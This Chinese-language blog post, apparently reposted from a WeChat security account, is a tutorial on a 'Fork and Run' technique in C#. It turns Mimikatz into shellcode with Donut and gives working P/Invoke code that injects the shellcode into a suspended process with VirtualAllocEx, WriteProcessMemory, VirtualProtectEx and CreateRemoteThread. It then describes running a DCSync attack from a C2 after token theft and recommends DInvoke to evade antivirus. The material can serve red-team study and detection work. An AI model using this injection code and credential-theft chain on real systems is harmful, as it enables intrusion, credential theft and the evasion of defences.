C# 中的 Fork 和 Run 实现 - Shellcode 注入和执行

admin 2024年10月28日23:54:40评论18 views字数 4301阅读14分20秒阅读模式

C# 中的 Fork 和 Run 实现 - Shellcode 注入和执行

介绍

在前面的文章中,我们了解了如何使用 Windows API为当前用户或具有其他用户权限的用户创建进程。现在,我们将利用这些知识来注入我们想要执行的恶意代码。

Shellcode 准备

第一步是生成我们的“shellcode”。网上有很多关于理解和生成 shellcode 的资源,但这超出了本系列文章的范围。因此,我们将简单地使用Donut,这是一个可以自动生成所需 shellcode 来执行所选 Windows 程序的程序(在此示例中,我们将使用著名的工具 Mimikatz):

/opt/donut/donut -i /mnt/Share/Utils/win/programs/mimikatz64.exe -f 1 -a 2 -o /mnt/Share/tmp/Payload.bin -p 'coffee exit'

C# 中的 Fork 和 Run 实现 - Shellcode 注入和执行

现在,我们需要将包含二进制代码的文件合并到我们的应用程序中,以便能够注入它。对于这篇文章,我们只需将其作为资源添加到我们的 .NET 项目中:

为此,请转到我们项目的属性

C# 中的 Fork 和 Run 实现 - Shellcode 注入和执行

选择“资源”选项卡,然后单击链接“此项目不包含默认资源文件。单击此处创建一个。”

C# 中的 Fork 和 Run 实现 - Shellcode 注入和执行

将资源类型更改为“文件”。

C# 中的 Fork 和 Run 实现 - Shellcode 注入和执行

点击“添加资源”,选择我们刚刚生成的文件。

C# 中的 Fork 和 Run 实现 - Shellcode 注入和执行

要从我们的程序访问此资源的内容,我们可以使用以下代码行:

var shellcode = Properties.Resources.Payload;

Shellcode 注入

在将此代码注入我们将要创建的进程之前,还需要进行一项更改。在本例中,我们正在创建一个进程,该进程将充当运行恶意程序的 shell。因此,当我们启动该进程时,我们不希望它执行自己的代码。为了实现这一点,我们将以挂起状态启动该进程。因此,我们将在进程创建属性中插入以下行:

creationFlags |= PROCESS_CREATION_FLAGS.CREATE_SUSPENDED;
注入 shellcode 的方法有很多种,关于这个主题的资源也很多。我们将使用最简单、最知名的技术之一。通过使用 VirtualAllocEx、WriteProcessMemory 和 VirtualProtectEx 函数,我们将在创建的进程中创建一个足够大的内存空间来容纳我们的 shellcode,将二进制代码复制到该空间,并使该内存空间可执行。

我们需要导入这三个函数:

[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(
  IntPtr hProcess,
  IntPtr lpAddress,
  int dwSize,
  AllocationType flAllocationType,
  MemoryProtection flProtect
)
;

[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(
  IntPtr hProcess,
  IntPtr lpAddress,
  int dwSize,
  MemoryProtection flNewProtect,
  out MemoryProtection lpflOldProtect
)
;

[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(
  IntPtr hProcess,
  IntPtr lpBaseAddress,
  byte[] lpBuffer,
  int nSize,
  out IntPtr lpNumberOfBytesWritten
)
;

我们还需要导入相关的结构:

[Flags]
public enum AllocationType
{
  Commit = 0x1000,
  Reserve = 0x2000,
  Decommit = 0x4000,
  Release = 0x8000,
  Reset = 0x80000,
  Physical = 0x400000,
  TopDown = 0x100000,
  WriteWatch = 0x200000,
  LargePages = 0x20000000
}

[Flags]
public enum MemoryProtection
{
  Execute = 0x10,
  ExecuteRead = 0x20,
  ExecuteReadWrite = 0x40,
  ExecuteWriteCopy = 0x80,
  NoAccess = 0x01,
  ReadOnly = 0x02,
  ReadWrite = 0x04,
  WriteCopy = 0x08,
  GuardModifierflag = 0x100,
  NoCacheModifierflag = 0x200,
  WriteCombineModifierflag = 0x400
}

在我们的程序中,我们使用这些函数将代码注入到进程中:

var baseAddress = VirtualAllocEx(
   pInfo.hProcess,
   IntPtr.Zero,
   shellcode.Length,
   AllocationType.Commit | AllocationType.Reserve,
   MemoryProtection.ReadWrite);

if (baseAddress == IntPtr.Zero)
  throw new InvalidOperationException($"Failed to allocate memory, error code: {Marshal.GetLastWin32Error()}");


IntPtr bytesWritten = IntPtr.Zero;
if (!WriteProcessMemory(pInfo.hProcess, baseAddress, shellcode, shellcode.Length, out bytesWritten))
  throw new InvalidOperationException($"Failed to write shellcode into the process, error code: {Marshal.GetLastWin32Error()}");

if (bytesWritten.ToInt32() != shellcode.Length)
  throw new InvalidOperationException($"Failed to write All the shellcode into the process");

if (!VirtualProtectEx(
  pInfo.hProcess,
  baseAddress,
  shellcode.Length,
  MemoryProtection.ExecuteRead,
  out _))
{
  throw new InvalidOperationException($"Failed to cahnge memory to execute, error code: {Marshal.GetLastWin32Error()}");
}

要执行注入的代码,我们可以依赖 CreateRemoteThread 函数,我们需要导入该函数:

[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreateRemoteThread(
  IntPtr hProcess,
  IntPtr lpThreadAttributes,
  uint dwStackSize,
  IntPtr lpStartAddress,
  IntPtr lpParameter,
  uint dwCreationFlags,
  out IntPtr lpThreadId
)
;

然后,我们可以按如下方式使用它:

IntPtr threadres = IntPtr.Zero;
IntPtr thread = CreateRemoteThread(pInfo.hProcess, IntPtr.Zero, 0, baseAddress, IntPtr.Zero, 0, out threadres);

if (thread == IntPtr.Zero)
  throw new InvalidOperationException($"Failed to create remote thread to start execution of the shellcode, error code: {Marshal.GetLastWin32Error()}");

结果如下:

C# 中的 Fork 和 Run 实现 - Shellcode 注入和执行

它在我们的 C2 中看起来像什么?

在我们的 C2 中组装迄今为止准备好的所有部分,我们能够使用其他用户的权限执行恶意工具(例如 Mimikatz)。

让我们使用“Fork And Run”实现来尝试对当前用户进行 DCSync 攻击:

C# 中的 Fork 和 Run 实现 - Shellcode 注入和执行

正如预期的那样,我们没有足够的权限进行这次攻击。

现在我们来利用Token操作来借用我们机器登录管理员的权限:

C# 中的 Fork 和 Run 实现 - Shellcode 注入和执行

让我们从这个新的背景来重复一下这次攻击:

C# 中的 Fork 和 Run 实现 - Shellcode 注入和执行

你可以在Github上找到本文的完整源代码:https://github.com/Fropops/OffensiveWinAPI/blob/main/TestForBlog/Injection.cs

最后的话

在本系列文章中,我们重点介绍了如何用 C# 实现“Fork and Run”技术的最简单版本。但是,仍有几个方面需要改进,特别是在利用 Windows API 和代码注入技术方面。

使用 PInvoke 直接调用 Windows API 函数为防病毒和其他防御工具的检测提供了重要机会。为了降低这种检测风险,已经开发出调用这些函数的替代方法,以使攻击更加隐蔽。一种众所周知的替代方法是使用由TheWover推广的 DInvoke(动态调用)。RastaMouse 还重新编写了代码,以提供一种极简形式,可以轻松集成到gitHub上提供的攻击工具中。如需进一步了解,我强烈建议阅读 Crypt0ace 关于该主题的博客文章:https://crypt0ace.github.io/posts/Using-DInvoke-For-Offensive-Tool-Development/

除了 Windows API 增强功能外,还有多种代码注入方法值得探索。Crypt0ace 在他的博客中广泛介绍了各种注入技术。这些文章提供了这些技术的全面概述和解释。

原文始发于微信公众号(Ots安全):C# 中的 Fork 和 Run 实现 - Shellcode 注入和执行

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月28日23:54:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   C# 中的 Fork 和 Run 实现 - Shellcode 注入和执行https://cn-sec.com/archives/3323970.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息